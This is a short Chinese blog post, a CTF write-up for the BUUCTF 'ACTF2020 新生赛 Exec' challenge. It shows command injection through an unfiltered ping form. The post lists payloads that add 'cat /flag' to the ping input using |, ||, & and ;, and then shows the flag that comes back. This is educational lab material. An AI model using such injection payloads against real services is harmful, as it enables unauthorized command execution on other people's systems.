

buuctf [ACTF2020 新生赛]Exec

原创

Fatesec 于 2021-03-05 17:09:00 发布 87 收藏

分类专栏: [buuctf web](#) 文章标签: [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_36241198/article/details/114403124

版权



[buuctf web](#) 专栏收录该内容

15 篇文章 1 订阅

订阅专栏

又是一道命令执行的题

PING

127.0.0.1|

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes

https://blog.csdn.net/qq_36241198

ping一下127.0.0.1 然后尝试直接cat flag

1.| (就是按位或), 直接执行|后面的语句

```
127.0.0.1 | cat /flag
```

2、|| (就是逻辑或), 如果前面命令是错的那么就执行后面的语句, 否则只执行前面的语句

```
a || cat /flag
```

3、& (就是按位与), &前面和后面命令都要执行, 无论前面真假

```
127.0.0.1 & cat /flag
```

4、; (linux下有的, 和&一样的作用)

```
127.0.0.1;cat /flag
```

像这种什么都没过滤的题目，可以利用常见管道符直接执行命令

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
flag{d847af4b-6f24-4b71-8b1b-a330ae96bce8}
```

https://blog.csdn.net/qq_36241198

命令执行漏洞可以看这位师傅的博客：

<http://www.ghtwf01.cn/index.php/archives/273/>